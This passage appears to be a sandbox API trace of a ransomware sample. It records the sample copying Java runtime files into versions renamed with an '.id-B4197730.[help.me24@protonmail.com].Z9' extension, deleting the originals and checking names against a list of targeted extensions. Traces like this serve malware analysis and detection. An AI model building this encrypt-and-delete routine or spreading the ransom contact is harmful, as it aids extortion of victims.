	[0096.518] WriteFile (in: hFile=0x390, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.518] SetEndOfFile (hFile=0x390) returned 1
	[0096.518] CloseHandle (hObject=0x390) returned 1
	[0096.518] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.518] SetEndOfFile (hFile=0x364) returned 1
	[0096.519] CloseHandle (hObject=0x364) returned 1
	[0096.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.519] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1
	[0096.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.520] lstrlenW (lpString=".doc") returned 4
	[0096.520] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString=".docx") returned 5
	[0096.520] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.520] lstrlenW (lpString=".pdf") returned 4
	[0096.520] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString=".xls") returned 4
	[0096.520] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString=".xlsx") returned 5
	[0096.520] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.520] lstrlenW (lpString=".ppt") returned 4
	[0096.520] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.520] lstrlenW (lpString=".zip") returned 4
	[0096.520] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString=".rar") returned 4
	[0096.520] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString=".bz2") returned 4
	[0096.520] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString=".7z") returned 3
	[0096.520] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.520] lstrlenW (lpString=".dbf") returned 4
	[0096.520] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.520] lstrlenW (lpString=".1cd") returned 4
	[0096.520] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.520] lstrlenW (lpString=".jpg") returned 4
	[0096.520] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.521] lstrlenW (lpString=".doc") returned 4
	[0096.521] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString=".docx") returned 5
	[0096.521] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.521] lstrlenW (lpString=".pdf") returned 4
	[0096.521] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString=".xls") returned 4
	[0096.521] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString=".xlsx") returned 5
	[0096.521] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.521] lstrlenW (lpString=".ppt") returned 4
	[0096.521] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.521] lstrlenW (lpString=".zip") returned 4
	[0096.521] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString=".rar") returned 4
	[0096.521] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString=".bz2") returned 4
	[0096.521] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString=".7z") returned 3
	[0096.521] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.521] lstrlenW (lpString=".dbf") returned 4
	[0096.521] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.521] lstrlenW (lpString=".1cd") returned 4
	[0096.521] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.521] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0096.521] lstrlenW (lpString=".jpg") returned 4
	[0096.521] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.522] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.522] lstrlenW (lpString="messages_sv.properties") returned 22
	[0096.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0096.523] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3409) returned 1
	[0096.523] CloseHandle (hObject=0x390) returned 1
	[0096.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20
	[0096.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.524] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.524] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.524] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.524] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.525] GetLastError () returned 0x0
	[0096.525] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xd51, lpOverlapped=0x0) returned 1
	[0096.534] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0096.535] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.535] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x100, lpOverlapped=0x0) returned 1
	[0096.535] SetEndOfFile (hFile=0x37c) returned 1
	[0096.535] CloseHandle (hObject=0x37c) returned 1
	[0096.535] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.535] SetEndOfFile (hFile=0x358) returned 1
	[0096.536] CloseHandle (hObject=0x358) returned 1
	[0096.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.537] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1
	[0096.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.537] lstrlenW (lpString=".doc") returned 4
	[0096.537] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString=".docx") returned 5
	[0096.537] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.537] lstrlenW (lpString=".pdf") returned 4
	[0096.537] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString=".xls") returned 4
	[0096.537] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString=".xlsx") returned 5
	[0096.537] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.537] lstrlenW (lpString=".ppt") returned 4
	[0096.537] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.537] lstrlenW (lpString=".zip") returned 4
	[0096.537] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString=".rar") returned 4
	[0096.537] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString=".bz2") returned 4
	[0096.537] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString=".7z") returned 3
	[0096.537] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.537] lstrlenW (lpString=".dbf") returned 4
	[0096.537] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.537] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.537] lstrlenW (lpString=".1cd") returned 4
	[0096.537] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString=".jpg") returned 4
	[0096.538] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString=".doc") returned 4
	[0096.538] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString=".docx") returned 5
	[0096.538] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.538] lstrlenW (lpString=".pdf") returned 4
	[0096.538] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString=".xls") returned 4
	[0096.538] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString=".xlsx") returned 5
	[0096.538] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.538] lstrlenW (lpString=".ppt") returned 4
	[0096.538] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString=".zip") returned 4
	[0096.538] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString=".rar") returned 4
	[0096.538] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString=".bz2") returned 4
	[0096.538] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString=".7z") returned 3
	[0096.538] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString=".dbf") returned 4
	[0096.538] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString=".1cd") returned 4
	[0096.538] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.538] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0096.538] lstrlenW (lpString=".jpg") returned 4
	[0096.538] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.539] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0096.539] lstrlenW (lpString="messages_zh_HK.properties") returned 25
	[0096.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.539] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3752) returned 1
	[0096.539] CloseHandle (hObject=0x358) returned 1
	[0096.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20
	[0096.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0096.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.539] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.539] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.540] GetLastError () returned 0x0
	[0096.540] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xea8, lpOverlapped=0x0) returned 1
	[0096.586] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0096.587] ReadFile (in: hFile=0x358, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.587] WriteFile (in: hFile=0x37c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x106, lpOverlapped=0x0) returned 1
	[0096.587] SetEndOfFile (hFile=0x37c) returned 1
	[0096.587] CloseHandle (hObject=0x37c) returned 1
	[0096.587] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.587] SetEndOfFile (hFile=0x358) returned 1
	[0096.588] CloseHandle (hObject=0x358) returned 1
	[0096.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.588] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1
	[0096.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.589] lstrlenW (lpString=".doc") returned 4
	[0096.589] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString=".docx") returned 5
	[0096.589] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.589] lstrlenW (lpString=".pdf") returned 4
	[0096.589] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString=".xls") returned 4
	[0096.589] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString=".xlsx") returned 5
	[0096.589] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.589] lstrlenW (lpString=".ppt") returned 4
	[0096.589] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.589] lstrlenW (lpString=".zip") returned 4
	[0096.589] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString=".rar") returned 4
	[0096.589] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString=".bz2") returned 4
	[0096.589] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString=".7z") returned 3
	[0096.589] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.589] lstrlenW (lpString=".dbf") returned 4
	[0096.589] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.589] lstrlenW (lpString=".1cd") returned 4
	[0096.589] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString=".jpg") returned 4
	[0096.590] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString=".doc") returned 4
	[0096.590] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString=".docx") returned 5
	[0096.590] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0096.590] lstrlenW (lpString=".pdf") returned 4
	[0096.590] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString=".xls") returned 4
	[0096.590] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString=".xlsx") returned 5
	[0096.590] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0096.590] lstrlenW (lpString=".ppt") returned 4
	[0096.590] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString=".zip") returned 4
	[0096.590] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString=".rar") returned 4
	[0096.590] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString=".bz2") returned 4
	[0096.590] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString=".7z") returned 3
	[0096.590] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0096.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString=".dbf") returned 4
	[0096.590] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString=".1cd") returned 4
	[0096.590] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0096.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71
	[0096.590] lstrlenW (lpString=".jpg") returned 4
	[0096.590] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0096.591] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0096.591] lstrlenW (lpString="access-bridge-64.jar") returned 20
	[0096.591] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.594] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=188024) returned 1
	[0096.594] CloseHandle (hObject=0x37c) returned 1
	[0096.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20
	[0096.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.594] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.595] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.595] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.595] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0096.595] GetLastError () returned 0x0
	[0096.595] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x2de78, lpOverlapped=0x0) returned 1
	[0096.608] WriteFile (in: hFile=0x364, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x2de80, lpOverlapped=0x0) returned 1
	[0096.612] ReadFile (in: hFile=0x37c, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.612] WriteFile (in: hFile=0x364, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0096.612] SetEndOfFile (hFile=0x364) returned 1
	[0096.612] CloseHandle (hObject=0x364) returned 1
	[0096.612] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
